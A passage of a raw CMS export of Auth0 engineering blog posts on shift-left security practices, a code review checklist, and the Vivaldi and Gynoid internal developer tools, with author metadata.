existing code bases at Auth0. SAST tools automate security-specific code reviews and help identify and remediate security-relevant coding flaws that directly translate to exploitable flaws in production. Finding these flaws early adds great value to the organization in terms of risk reduction. \n\nSAST improvements include better traceability of flaws to [OWASP Top 10](https://owasp.org/www-project-top-ten/) and [CWE Top 25](https://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html), and improvements in the ease of integration with existing development IDEs, source repositories, and build tools.\n\nThese SAST tools support both manual deployment pipelines, and automated pipelines where controls can be integrated into a model known as [DevSecOps](https://www.sumologic.com/insight/devsecops-rugged-devops/). DevSecOps helps incorporate security into all stages of the software development workflow and thus helps to avoid security bottlenecks since [security checks are run continuously along with the phases of the SDLC](https://insight.claranet.co.uk/driven/the-devsecops-mindset) rather than only at the end of the life cycle.\n\n![DevSecOps](https://images.ctfassets.net/23aumh6u8s0i/7l22UtdExJhSxYf40OhyBJ/47553bad506159065c5482c4ac9c453d/image3)\n\u003cp align=\"center\"\u003e\u003ci\u003eDevSecOps\u003c/i\u003e\u003c/p\u003e\n\nThe **Secure Software Benchmarks (SSB)** comprehensively document the expectations and implementation details for creating secure applications at Auth0. The SSBs can be used as a baseline for teams to assess the security of applications. However, their greatest value will be as an early lifecycle guide to plan, develop, and deploy their applications according to security best practices. \n\nThe SSBs are rich in both breadth and depth and are based on industry best practices, including the [OWASP Top 10 Proactive Controls](https://owasp.org/www-project-proactive-controls/). They include details such as secure coding techniques, SAST tools integration guidance, expectations around protecting data at rest, in-transit, and in-memory, how to securely create production builds, and how to hook into monitoring controls. The SSBs are meant to be an ongoing tool for assessment and creation of secure applications.\n\nThe security training and awareness team runs a mentorship program for Auth0 developers with interest in security. The purpose of the program is to help amplify and socialize the security messages within development teams and scale security operations. Security-minded developers serve as **Security Champions** and receive training and guidance in how to implement and interpret **SAST** results. \n\nSecurity Champions will also participate in briefings with the security team to help them understand and socialize the **SSBs**. Security champions have a defined path for advancement, including apprentice, intermediate, and advanced champion criteria that define the milestones and maturation of the champions at Auth0.\n\nThe security awareness team will combine **SAST**, **SSBs**, and the **Security Champions** program in an internal certification program for Node.js developers. This **Auth0 Node.js Secure Developer Certification** expands upon the current hands-on secure code training. The certification includes general security concept training, Node.js secure coding guidelines defined in the SSBs, threat modeling, best practices for implementing and interpreting SAST, risk assessments, offensive security, secure architecture, hands-on labs, and skills formal assessment. The security team will begin the roll-out of the certification with our Security Champions, receive feedback from these champions, then open the certification to our development community within Auth0.\n\nWe are also applying shift-left to expand our machine image scanning capabilities within our infrastructure and cloud security program. Rather than scanning images after deployment, scanning will take place at the time of image creation. Scanning at the time of image creation provides early feedback for service owners as they make decisions about installed packages and versions. The scanning services are accessible via API, and thus can be automated as part of the development life cycle and seamlessly integrated with vulnerability management tools and processes. \n\n## What about Late Life Cycle Efforts at Auth0?\n\nThere are several successful late life cycle efforts at Auth0 that we plan to continue and grow with a particular focus on automation. These offensive and detection efforts are crucial in finding security vulnerabilities, detecting and handling incidents, and helping teams assess the security of their applications as the threat landscape continuously changes. We will continue to offer our private bug bounty program, conduct offensive security tests, encourage contributions through our Responsible Disclosure program, and offer threat modeling for secure design. We encourage submission to our [Responsible Disclosure](https://auth0.com/responsible-disclosure-policy/) program and use this disclosure program as an entry point to our private bug bounty program.\n\nThe defensive and offensive programs do not exist in vacuums. Instead, offensive programs help to inform our defensive efforts in what the security industry terms a purple and orange team functions, where [_purple_ describes how defenders (such as our Detection and Response team) learn from attackers, and orange describes how builders (our developers) learn from attackers](https://danielmiessler.com/study/red-blue-purple-teams/).\n\nAuth0 Security strives to continuously improve our security posture. By embracing shift-left, we create more effective, less costly security controls, promote developer ownership of security principles and features, and help reduce risk to our organization. This approach results in a more secure solution for our customers at a lower cost.\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2020-04-20T09:00","readTime":7,"formattedDate":"Apr 20, 2020"},{"title":"Conducting Effective Code Reviews","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"6tHXNSI7fRc6JcdwMXmgfu","type":"Entry","createdAt":"2021-03-22T08:21:53.343Z","updatedAt":"2021-03-22T08:43:11.669Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"umut-benzer","name":"Umut Benzer","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"4QBeLoW6xjB1Z78AzfiCO4","type":"Asset","createdAt":"2021-03-22T08:43:09.824Z","updatedAt":"2021-03-22T08:43:09.824Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"umut-benzer","description":"umut-benzer avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/4QBeLoW6xjB1Z78AzfiCO4/ea5ee03ab7047eb171b87b666e644738/umut-benzer","details":{"size":16629,"image":{"width":300,"height":300}},"fileName":"umut-benzer","contentType":"image/jpeg"}}},"lastUpdatedBy":"Unknown during the migration","email":null,"twitter":"https://twitter.com/UmutBenzer","github":"https://github.com/ubenzer","linkedin":"https://linkedin.com/in/ubenzer","isPopular":null,"personalWebsite":"https://benzer.dev/","type":"Auth0 Employee","jobTitle":"Software Engineer","description":"MSc. in Computer Science, working as a Software Engineer since 2011. My passion is building high quality products that solve real life problems. I like traveling. One day I'll visit all countries in the world."}}],"path":"conducting-effective-code-reviews","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/6zV5rhlqeyOXo74FnkioxU/8edc1edbe6282b46cb2b95c989cb695e/code-review","size":{"width":1765,"height":1585}},"description":"Learn about the things to pay attention to, and what to automate while reviewing code so that you can increase the speed and the quality of code reviews in your organization.","category":["Engineering","Best Practices","Software Development"],"tags":["code-review","software-development","pull-request","quality","software-engineering","mentor","mentorship"],"postContent":"\n\nCode review is a process that enables peers and automated tools to check proposed changes to a codebase. The main goal of a code review is to catch potential issues, security problems, and bugs before they are introduced to the codebase and prevent them from causing problems in production.\n\nCode review can be fun. You try to hunt down well-disguised bugs before they hurt your production. You feel like a superhero defending your town every time you find a bug.\n\nWho needs a code review? Everybody. It doesn't matter if the pull request owner is an intern or the CEO. It doesn't matter if the pull request owner has 3 months of experience or 30 years. Development is a delicate task and things can slip through the cracks easily. Having another set of eyes is always beneficial.\n\nI am one of the engineers on the IAM-Authorization team at Auth0. We are responsible for the authorization decision of the authentication flow. In such a mission-critical team, one of the things that we do to ensure quality is the code review.\n\nTo follow along with this blog post, it will help to be familiar with the code review process, CI systems, and the concept of a pull request. After reading this blog post, you will better understand what to automate as a part of the code review process, what things to pay attention while reviewing code, and what communication methods are suggested between team members during the process.\n\n![Teammates discussing during a code review](https://images.ctfassets.net/23aumh6u8s0i/ABLyuAY3wi9yZMZjdrZse/e26c7c28f68b7ba3194cf4a48f142e7e/code-review-discussion)\n\n## Benefits of Having a Code Review Process in Place\n\nHaving a code review process in place has benefits for both the product itself and the development team.\n\nThe product will suffer from fewer bugs as they will be hunted down in the code review. Product quality will increase and this will have a direct positive impact on the customer experience. Code reviews will encourage the team to follow engineering best practices. This will lead to a more understandable and well-organized codebase resulting in increased maintainability of the product.\n\nAs the team participates in the code review process, they will become more aware of changes that are introduced. This enables the development team to learn other parts of the project. Eventually, more than one person will be aware of the changes and the siloing will be reduced.\n\n## Different Aspects of a Code Review\n\nWhile all code reviews are different, there remain two main aspects for every code review: syntactic and semantic.\n\nIn the syntactic review, the code is checked for the visuals and complexity.\n\nIn the visuals part, code is checked against project-wide code style guidelines, such as using tabs or spaces, adding commas to the end of the lines, always wrapping `if` statements with braces, etc. Having code that follows the same style guidelines throughout the project helps engineers skim through the code faster and reduces the mistakes caused by overlooking a statement because it is expressed in an unusual way.\n\nChecking the complexity of the modified function can also be categorized as a form of syntactic review. In this complexity calculation, only the code flow is taken into account, disregarding the actual logic. Checking the code complexity helps to understand code pieces that may have too many branches. These code pieces might be hard to understand, hard to test, and they could be more prone to errors.\n\nIn the semantic review, the code is checked for what it does and what it means. The implemented logic is reviewed to see if it is doing what it is supposed to do. The code architecture, fit to the overall architecture, performance of the code, and the actual code flow are also reviewed.\n\n## Automate What You Can\n\nHumans are the most intelligent actors in the code review process. However, they have short attention spans and their time is valuable. Spending valuable human time on deterministic tasks is not optimal.\n\nHumans tend to make mistakes in repetitive tasks, such as code style checks by skipping a few rules here and there. These kind of deterministic tasks are rather boring than challenging. Dedicating someone from the team to do this kind of tasks will cause loss of valuable engineering time, and still, there will be errors.\n\nOffloading automatable jobs to machines is essential in the code review process. Repetitive and deterministic tasks like code style checking, linting, static code analysis, code complexity calculation, code coverage calculation, execution of tests are good candidates for automation. Usually, there are pretty advanced libraries and services that help to automate these tasks. Here are some of my favorites. [_Eslint_](https://eslint.org/) for linting, İstanbul (via [_NYC_](https://www.npmjs.com/package/nyc)) for code coverage calculation, [_Codecov_](https://codecov.io/) for code coverage reporting and a CI to integrate everything.\n\n![Automate what you can in a code review](https://images.ctfassets.net/23aumh6u8s0i/6uPnz3xZOFcDyvf3dagBu7/34dbd725d1cf99b62e9dedf2a82f71b3/code-review-banner-bot)\n\nAutomation helps engineering teams to focus on what they need to. However, automation has its limitations. Regardless of how advanced a tool may be, it can't replace human intelligence. At least, not yet.\n\nAutomate what you can. Humans should be involved in the code review process as late as possible.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Automate what you can in the code review process. Humans should be involved as late as possible and only when needed.\"/\u003e\n\n## How to Conduct a Code Review as a Human\n\nBefore involving a human in the code review process, each of the following checklist items should be completed:\n\n- **It’s ready:** The PR owner thinks the introduced code is doing what is supposed to do and it is ready for peers to review.\n- **It’s working:** The PR owner already tested the changes manually and it works.\n- **It has tests:** The PR has automated tests (e.g. unit tests, functional tests) and they pass. You should aim for 100% coverage in unit tests and at least the mission-critical flows for the rest of the tests.\n- **Automation says it is working:** The automated code review process reports that everything is good.\n\nFailing one of those would mean a problem has been detected. Without covering those it would be a waste of time to involve a human.\n\nOnce those are covered, now it’s time to introduce the humans to the review. We need human intelligence and reasoning skills to understand the impact of the introduced change. The human checks that the changes to the code do what they are supposed to do and that the rest of the system continues working as expected.\n\n![Involve humans in code reviews only when needed](https://images.ctfassets.net/23aumh6u8s0i/3Xlb5TENyxqHMV2zWw5w0I/b1655ffe661c595945dd67c27f5aeb6a/code-review-banner-human)\n\nTo achieve this goal, there are a couple of best practices that the team members can follow.\n\n### Time Management\n\nSpeed is important. So are code reviews. Finding a sweet spot is important.\n\n1. **Be careful and take your time:** Giving enough attention is important. Don't rush code reviews, ever.\n2. **Don't check things that can be automated:** If you have a complaint about them, improve the automation instead. For example, you shouldn't ask for adding semicolons. This can be automated. If the reviewer is insisting on having it, then he should automate the check by creating a linter rule.\n3. **Test it yourself:** If you are not convinced enough, or the change is critical, check out the PR and test it locally.\n\n### Complexity Checks\n\n1. **Code reuse:** Check if a library (either internal or external) or an already existing function can be leveraged instead of implementing the suggested changes in the code review.\n2. **Pattern check:** You should check the change if it fits the pattern of the existing code pieces. Check if follows the same code structure, naming structure and logical structure across the project. Check if the code is in the correct file and function. In other words, check if it \"fits\" to the project.\n\n### Potential Bug Checks\n\nOver the years I've noticed some common pitfalls. I recommend completing the following checklist to catch those.\n\n1. **Return type consistency:** Check if the changed part still returns the same value types in different return paths. Check if errors are handled in the same way and the function throws errors in a consistent schema. A change that doesn't follow the pattern might be a sign of a bug. For instance, in a function where existing branches return a number, having a return alone should raise some eyebrows for detailed investigation.\n2. **Resource deallocation:** Check if the resources allocated are released regardless of function is succeeded or not. Check for file handles opened in the function, events bound, requests started, etc. Ideally, at the end of execution of a function all resources allocated should be released. This includes error cases: In case of an error, the function should clear its allocated resources and then throw.\n3. **Other usages of the function:** Check if the changed functions are used in other places. If they are, check if the change would cause a problem in other unchanged parts of the application due to interface changes. For instance, when a function that normally returns an object starts to also return `null`, all usages of this function should be examined one by one.\n4. **Breaking change awareness:** Check if the change causes a change in the public API in an undocumented and/or breaking way. If that is the case, either notify users using a predefined communication method or consider other options. Please note that changes to public interfaces that make sense (such as returning a specific error code instead of general error code) are still considered breaking changes.\n5. **Mutable structures:** Check if additions to existing variables by reference (e.g. objects) break things elsewhere due to the mutable data structure. Let's say that you pass a user object to your logger function. Logger function \"enhances\" this object by adding a `\"logDate\"` before logging it via `user.logDate = new Date()`. As logger referred the user by reference, the new field `logDate` will be a part of the user and it will be accessible for all later functions in the execution chain. This exposes a variable in an uncontrolled way out of a function. This may cause bugs due to depending on this leaked variable in other functions and data leaks to the external customers. Ideally, an object should be cloned before modifying.\n6. **Input validations:** Check if the input data validation in place, bounded and those bounds are unit tested. It is important to put a limit to each value from the outside to \"keep things under control\". This way you'll know the bounds of it, quite helpful while refactoring.\n7. **Error handling:** Check if error cases are handled, including async call errors. Look for promises, `await`, `throw`, and Node.js callbacks. Be sure that all negative cases are handled. Please note that throwing errors out of function is also a way of handling it as long as that is intentional and tested.\n8. **Data layer schema changes:** In case of a schema change, check if it is backward compatible. Be sure that the DB migrations will work with the production data, by checking migrations script against the DB schema, not only the local data.\n9. **Data exposure:** Check that the function doesn't expose unintentional extra data. Check that white-listing is used instead of blacklisting the fields that you don't want to show. Using a blacklisting approach makes it more likely that fields introduced later will be unintentionally exposed (if a future developer forgets to add the new field to the blacklist). This could be a security risk, especially for the public-facing endpoints.\n\n### Testing\n\nCode coverage tools can measure if the changes are covered by tests. However, code coverage tools only check if the lines are executed (covered by executing). Code coverage tools can't say if those executed lines are tested against a proper test suite. In other words:\n\n**Lack of code coverage guarantees that tests are missing. Covering changes does not necessarily mean that it is tested.**\n\nUnit tests are quite useful to catch bugs and provide confidence while refactoring. However, to test some components together, the whole system as one and even multiple systems together is also needed. As the exact needs and setup will depend on the project, I'll mention about this kind of tests as \"functional tests\" in general.\n\n1. **All decision paths should be tested:** Check if changes are already covered with existing unit tests and/or have the tests to cover every single decision path. Please note that even an `if` statement without `else` has two branches. An execution path including the contents of the `if`, and the one without.\n2. **Readability:** Check if you can understand what a test tests by only reading their names.\n3. **Input validation testing:** Even when validating an endpoint is as easy as including a middleware, it is important to have a unit test for that. It is easy to forget adding that middleware or mistakenly remove it. Having a unit test ensuring that an input limit is set helps prevent this from happening.\n4. **Error case testing:** Check if error cases are handled and unit tested. Do not miss `await`s, it might be easy to overlook.\n5. **Functional tests:** Check if the change is critical enough to have its functional test. Changing the behavior substantially, adding new features or touching critical parts of an application might require this.\n\n### Operational\n\nTo measure a smooth operation, the visibility to the well-being of the system as important. To achieve this, some checks can be done as a part of the code review process.\n\n1. **Visibility:** Check if proper logging is in place. Check that the unexpected errors are logged, access logs are generated, etc. Be sure that confidential data (e.g. passwords) are not logged and privacy-related cautions are taken.\n2. **Error management:** System errors, the errors you don't expect to happen such as internal server errors, and timeouts should be logged as errors. User-generated errors, such as input validation errors, accessing to a non-existent resource, shouldn't be logged as errors.\n3. **Default configuration fallback:** When adding features that depend on a configuration value (e.g. debug level, feature flag value, etc.), be sure that the application does not crash unintentionally or behave weirdly if the configuration is missing.\n4. **Feature flags:** Check if the change needs a feature flag and if the feature flag is implemented properly. Check if the feature is not exposed when feature flag retrieval fails or not configured.\n\n### Performance\n\nTo prevent unexpected performance hits, the code can be checked for signs of potential performance issues.\n\n1. **Think about the biggest payload possible:** Determine the biggest most complex payload that this function can receive. Follow the code to understand if the complexity of the function causes processing time to increase exponentially. Determining the big-O complexity of the function might help.\n2. **Library version upgrades:** Be sure that newly introduced libraries or changed versions of dependencies might introduce performance hits due to different and bad implementation. At least read the changelog or skim through the changes of those libraries. For the critical path, proper load testing is recommended.\n3. **Performance of database queries:** Check if all database calls are performing well and not causing a sequential search in the whole table/collection. Leverage commands like EXPLAIN ANALYZE to understand index usage.\n4. **Bounded return data:** Check if the changed function's return value is bounded. For instance, a function that returns all database rows might cause out of memory errors while trying to return billions of rows.\n\n### Security\n\nThere are some basic things that you can check to ensure baseline security such as not exposing extra data, handling sessions properly, handling the input to prevent SQL injection. By no means, is this a full list of security-related tasks. You should always ask a security expert for help.\n\nIf you want to educate yourself about security, [The Open Web Application Security Project (OWASP)](https://www.owasp.org/) has a lot of good resources. My favorite is the [Cheat Sheet Series](https://cheatsheetseries.owasp.org/).\n\n## Who Should Review the Code\n\nCode reviewing is a social learning event and it is a way of team communication. The team will understand both the product and the technical aspects of the project better by sharing knowledge. The team will also learn from each other's mistakes and they will get technically better.\n\nFor the optimal benefit, the same person shouldn't review PRs every time. Code reviewing opportunity should be shared across the team. Code reviewing should not create disruption for others but also shouldn't block the PR owner. An ideal solution would be for each team member to check for pending code reviews after taking a break, before (re)starting their own tasks.\n\nFor critical changes, more than one reviewer might be preferred.\n\nDomain experts are people that know the business and technical knowledge about some part of a system extensively. In code reviews, in case of doubts or unknowns on the changes, a domain expert can be invited to conduct the code review or to get a second opinion.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Within a development team, who should review the code? Learn about the factors that help you determine that.\"/\u003e\n\n## How To Communicate\n\n- Having a common set of rules will increase the speed of code reviews by reducing misunderstandings across team members and discussion roundtrips.\n- Be kind and respectful and don't take it personally.\n- Don't ask for review unless the CI is green. If automation rejects you, don't waste human time.\n- Avoid large changes and split them if possible.\n- Use commit templates. Having a checklist will help the PR owner to share all essential information about the PR. This standardization will also help the reviewer by making it easier to read and understand a standard form.\n- Don't use force push and change the code that is being reviewed. Some differences across the commits may slip through reviewer's eye and introduce bugs due to unreviewed code merge.\n- Let reviewee know about the process. Reviewers should assign themselves as a reviewer when they start a review. This way reviewee will know that something will eventually show up.\n- When the reviewee receives comments, they should acknowledge every single comment and act on them. Apart from being rude, ignoring comments may yield to bugs. Please note that acting on a comment doesn't mean changing the code in the way recommended by the reviewer. Defending your solution by facts, asking questions and starting a technical conversation are also a way of acting.\n- When a reviewee fixes a code review finding, they should paste the commit's link that fixed the problem as a reply to that CR comment. With this, the reviewer can follow up changes easier.\n- The reviewer should resolve the CR comment after checking reviewee's changes, ending the discussion.\n- In case of a disagreement, try to list the advantages and disadvantages of proposed solutions and go for the one with the most advantage. Try to generalize the decision and try to apply it to future conflicts.\n- The reviewer should suggest an alternative when writing code review comments. Don't say \"I didn't like it\". Say, \"I'd prefer _an alternative solution_ instead, because of _these reasons_.\" This will reduce the amount of code review round trips. Also, disagreeing without a concrete reason and a better alternative is confusing to the reviewee.\n- Refer to everything with a permalink where possible. (e.g. there is a doc in this link, the code in this link, this slack message, etc.) One-click access to everything will speed this up.\n- Put comments to explain the changes if necessary. For instance, you removed an `if` block and everything in that `if` block moved one level left in the indentation without any actual code change. Leaving a comment explaining this will save some time from reviewers time as they can skip those lines directly.\n\n## Recap\n\nCode review is an important step in software development. It helps to share knowledge within the team, \"proofreading\" the changes and catching potential issues before they get introduced. Use code review as a learning and information sharing tool.\n\nCode review can be a daunting task. You should automate what you can. This will help to save valuable human time and engineer wear caused by the boredom of doing repetitive and uncreative work.\n\nYou can use a checklist-like structured method to make code reviewing easier and the code review quality more consistent across the team.\n\nCommunication is extremely important in a code review. Defining ground rules, communication methods and a process can make it easier for everyone to contribute to this valuable process.\n\nI recommend you take a step back and think about code review. Define your and your team's habits in writing, use this post as a starting point and define your code review process!\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2019-09-05T01:00","readTime":18,"formattedDate":"Sep 5, 2019"},{"title":"Auth0 Internal Dev Tools: Unleashing Engineering Potential","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"4I22bcvHMuzsfZfBpsopzK","type":"Entry","createdAt":"2021-03-22T08:19:42.040Z","updatedAt":"2021-03-22T08:35:04.749Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"jorge-fatta","name":"Jorge Fatta","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"51WcApHrMwv1uFfHTdcHNX","type":"Asset","createdAt":"2021-03-22T08:35:03.652Z","updatedAt":"2021-03-22T08:35:03.652Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"jorge-fatta","description":"jorge-fatta avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/51WcApHrMwv1uFfHTdcHNX/74f8ea6163f2ceae7f8dd48cd50c559a/jorge-fatta","details":{"size":63558,"image":{"width":170,"height":170}},"fileName":"jorge-fatta","contentType":"image/png"}}},"lastUpdatedBy":"Unknown during the migration","email":"jorge.fatta@auth0.com","twitter":null,"github":null,"linkedin":null,"isPopular":null,"personalWebsite":"https://jorgefatta.dev/","type":"Auth0 Employee","jobTitle":"Engineering Manager","description":"Jorge is a Software Engineer that enjoys building tools for colleagues. He manages the Developer Tools team at Auth0. This team works on improving development workflow through tools and automation. He likes to spend time with family, playing football, or preparing and drinking all possible forms of coffee."}}],"path":"auth0-internal-dev-tools-unleashing-engineering-potential","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/4wcjzYtIjzf0TE23RNwOXQ/63f62d19070053e95fe09ef218ed7fb6/engineering","size":{"width":1176,"height":1056}},"description":"Helping engineers stay focused on building features that solve the hard problems of identity for customers.","category":["Engineering","Internal Tools","Engineering"],"tags":["internal-tools","scaling","docker","slack","communications","engineering","developer-tools","tools"],"postContent":"\n\nAuth0 is continuously growing. To share a couple of examples, we just hit a new milestone: [_2.5B+ monthly logins securely authenticated_](https://twitter.com/auth0/status/1101216297206059009) and we [_ended 2018 with a nearly 80 percent increase in both sales and new customers_](https://auth0.com/blog/auth0-closes-year-of-impressive-growth-in-2018/).\n\n\nWe are growing and scaling the organization at a really fast pace, and engineering is no exception. This presents some interesting and fun challenges:\n\n1. Promoting and developing the **culture** that fuels this endeavor.\n2. **Hiring** and retaining great engineers.\n3. Minimizing duplicate work and time to be **productive** as new people come in.\n\nThis blog post is focused on how Auth0 is addressing part of that last challenge; by building a dedicated team to unleash the potential in Auth0 developers to deliver business value with confidence.\n\n## Developer Tools Team at Auth0\n\nIn the same way that Auth0's goal is to make identity simple for developers, the Developer Tools team goal is to let our engineers fully focus on development and providing value for our customers. We want to provide the best tools to keep our developers happy and engaged shipping new features instead of struggling every day with exhausting and repetitive tasks that could be automated.\n\nWe defined the mindset we want to adopt to develop our tools and outlined a roadmap with the following vision:\n\n\u003e Provide toolchains that Auth0 engineering teams can use to improve their workflow, automate manual tasks, simplify complex processes, and implement a set of company-wide standards.\n\n### What we do\n\n1. Work closely with the engineering teams to understand their pain points, provide tools and guidance.\n2. Investigate existing tools and develop new ones to solve their needs:\n\n * Development Environment tools.\n * Change Management tools.\n * Debugging and Performance tools.\n * Incident Response tools.\n * Work with the [_SRE team_](https://auth0.com/blog/progressive-service-architecture-at-auth0/) to integrate site reliability tools into the platform.\n\n1. Recommended patterns \u0026 practices:\n\n * Identify patterns currently in use across our organization.\n * Provide developer tools for Scaffolding and Code Snippets.\n * Promote the adoption and tooling for the best engineering practices, e.g.: [_contract testing_](https://martinfowler.com/bliki/ContractTest.html).\n\n### What we don’t do\n\n1. While we provide general guidance, we don’t do consultancy, i.e.: we neither do work at a particular team's requests to tackle specific issues, provide advice on demand, or do an investigation by request nor develop customized solutions to solve a specific team's needs.\n2. We don’t provide advice or work on particular issues on demand: our tools are developed following a *product* approach.\n3. We don’t embed team members on another team to build tooling. We might do it for discovery, but development happens within the Development Tools team.\n4. We don’t debug and profile internal services, we provide the toolchain for that.\n5. We don’t do [_SRE (Site Reliability Engineering)_](https://auth0.com/blog/progressive-service-architecture-at-auth0/), we might provide tooling that could improve the experience during their analysis.\n6. We don’t investigate a random tool or technology on demand. We do it if it is related to reducing developer pain.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Learn how our engineers stay focused on solving the hard problems of identity for our customers.\"/\u003e\n\n## Tools Development Mindset\n\nWe are approaching the development of the tools as internal **products**, guided by these principles:\n\n1. **Ownership**: We own the tools that we ship, following a “*You Build It, You Run It*” principle.\n\n * We operate what we build: taking care of the CI/CD, incident response, etc.\n * We take care of not just the coding but also keeping the *product* running in good shape.\n\n1. **Extensibility**: We develop these tools taking extensibility into account from scratch.\n\n * For example, any engineer should be able to easily extend* *the* CLI *that we provide to interact with Auth0’s local development environment.\n\n1. **Internal Collaboration**: We engage our users to **contribute** with the tool evolution, collecting their feedback and welcoming their contributions to the code and documentation (via pull requests on git repositories).\n\nWe aim to follow an **iterative** process to develop our tools (just like our Product Engineering teams), working closely with our internal customers.\n\n\n\u003e The process adopted by our team suits the lean startup cycle model.\n\n-\u003e![Jeff Patton \u0026 Associates: lean startup cycle model](https://images.ctfassets.net/23aumh6u8s0i/4TRZnZXwjpgNp5gtf4u168/b8ab189eea4a634cdbadfcf67b5c12be/lean-startup-model)\u003c-\n\n*[*_Lean Startup Model_*](https://www.jpattonassociates.com/common-agile-int-for-startups/lean-startup-model/)* by *[*_Jeff Patton_*](https://www.jpattonassociates.com/) is licensed under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/).*\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"The Auth0 Developer Tools team shares three key principles to develop a tools-development mindset that helped them create successful internal products for developers.\"/\u003e\n\n## Our Tools\n\nSome of the tools that we currently maintain and regularly work on had a great impact and adoption rates within the organization but were built prior to adopting the _internal dev tools as product_ mindset mentioned above. It was originally hard for us to *learn *from the tools once released without any kind of usage metrics. For that reason, we focused on existing solutions by:\n\n* Improving **documentation**, both user guides and internal playbooks concisely describing deployment, troubleshooting, and **contribution** guidelines.\n* Instrumenting **usage and performance** metrics to **measure** the impact of our iterative improvements.\n\n### Vivaldi\n\n-\u003e![Containers on a dock](https://images.ctfassets.net/23aumh6u8s0i/5d1b2HI9Jjwld4HEksBQff/ec3bdb6bf8883d78cf39f907bb6f65bf/containers-on-a-dock)\u003c-\n\n*Photo by *[*_Guillaume Bolduc_*](https://unsplash.com/photos/uBe2mknURG4)* on *[*_Unsplash_*](https://unsplash.com/)*.*\n\n\n**Vivaldi** is the tool on which we have invested most of our efforts so far. Named after the Italian musical composer, it is a [_Docker_](https://www.docker.com/) container-based development environment that allows engineers to run a local Auth0 on their machine.\nThrough a command line interface (CLI), Vivaldi provides commands to quickly interact with our service instances running locally in order to:\n\n* Update dependencies.\n* Run tests.\n* Attach a debugger.\n* Run diagnosis tools.\n* Execute performance profilers.\n\n-\u003e![Vivaldi: Docker container-based development environment](https://images.ctfassets.net/23aumh6u8s0i/1NlLXfq8I0vpBm5KL3cI5l/30cd621072a76bcd0406151786f49246/vivaldi)\u003c-\n\nThe initial version of the tool had a **great impact on the development cycle** and was **widely adopted**. Before *Vivaldi*, developers needed to manually spin up the services they were working on, fighting with dependencies with their local environment. Now they can rely on an isolated and replicable environment, being able to spin up the entire services cluster relatively quickly.\n\nAs our teams and number of services grow, we are now actively working with teams to better implement a fast development loop without relying too much on running all Auth0 services locally. We are already planning the next generation of Vivaldi, which will support future growth in a scalable way.\n\n### Slack Bots\n\n-\u003e![Droid giving you a helping hand](https://images.ctfassets.net/23aumh6u8s0i/H5W70I4X8Ot6NSsj0VHyv/fadc300cf5495e31413a4ef43f2128d7/droid-giving-you-a-helping-hand)\u003c-\n\n*Photo by *[*_Franck V._*](https://unsplash.com/photos/jIBMSMs4_kA)* on *[*_Unsplash_*](https://unsplash.com/)*.*\n\nWe developed an internal Slack bot platform called _Gynoid_ during a hackathon and it was quickly adopted by our engineering organization. The platform is customized to satisfy the needs of our developers:\n\n* To build Slack bots easily: just create a JavaScript file, add metadata, and you are done!.\n* To install Slack bots straight from a GitHub repository.\n* To extend existing bots from different sources: one bot, multiple functions, different repositories.\n * We call these extensions Droids. To install new extensions, we have a Gynoid that serves as a wrapper for this library. Our _Gynoid Droid_ is responsible for registering and extending our bots directly from Slack.\n\nA notable Droid is one that serves as a _concierge_ for any Slack channel, properly named @concierge. It works like this:\n\n* A channel that needs a person on duty to address direct questions invites `@concierge` to the channel.\n\n-\u003e![Inviting the concierge Slack bot to a channel](https://images.ctfassets.net/23aumh6u8s0i/762YoyCbXhOlyM9zQAr24/469fe557035293e641012aa2bc03c672/invite-concierge-slack-bot)\u003c-\n\n* A teammate is assigned the role of `@concierge`.\n\n-\u003e![Assigning the concierge role to a teammate](https://images.ctfassets.net/23aumh6u8s0i/2u1bJjRFdCbJWf48k9t1Ot/3fb1c5c67e6d6819df21f09564896e18/assign-concierge-slack-bot)\u003c-\n\n\n* When someone needs to ask anything to a team, for example, they visit the team's channel and ask the question directly to `@concierge`.\n\n-\u003e![Asking a question to Slack bot concierge](https://images.ctfassets.net/23aumh6u8s0i/3Gtm4wdoomqbMJas4rzjGf/a1249a2842972eae97cc08b29328a28d/asking-question-concierge)\u003c-\n\n* The teammate with the role of `@concierge` is sent a direct message through Slackbot with the concierge request.\n\n-\u003e![Slack bot concierge sending a direct message to teammate](https://images.ctfassets.net/23aumh6u8s0i/4nPgWa3KasUha1YjLcAmos/641263ac54adb338d5906ee7d410673b/concierge-slack-bot-direct-message)\u003c-\n\n* The concierge has now the responsibility to research and to address the request directly. If the request is outside of the scope of the team, the request is redirected to the appropriate channel\n\nThe concierge droid helps us avoid unnecessary noise in Slack \u0026mdash; especially since it is widely used within our company as a good substitute for `@here` and `@channel` when asking questions. It's very useful when you have an \"on-call\" rotation in your team and people need to reach the teammate on call through a Slack 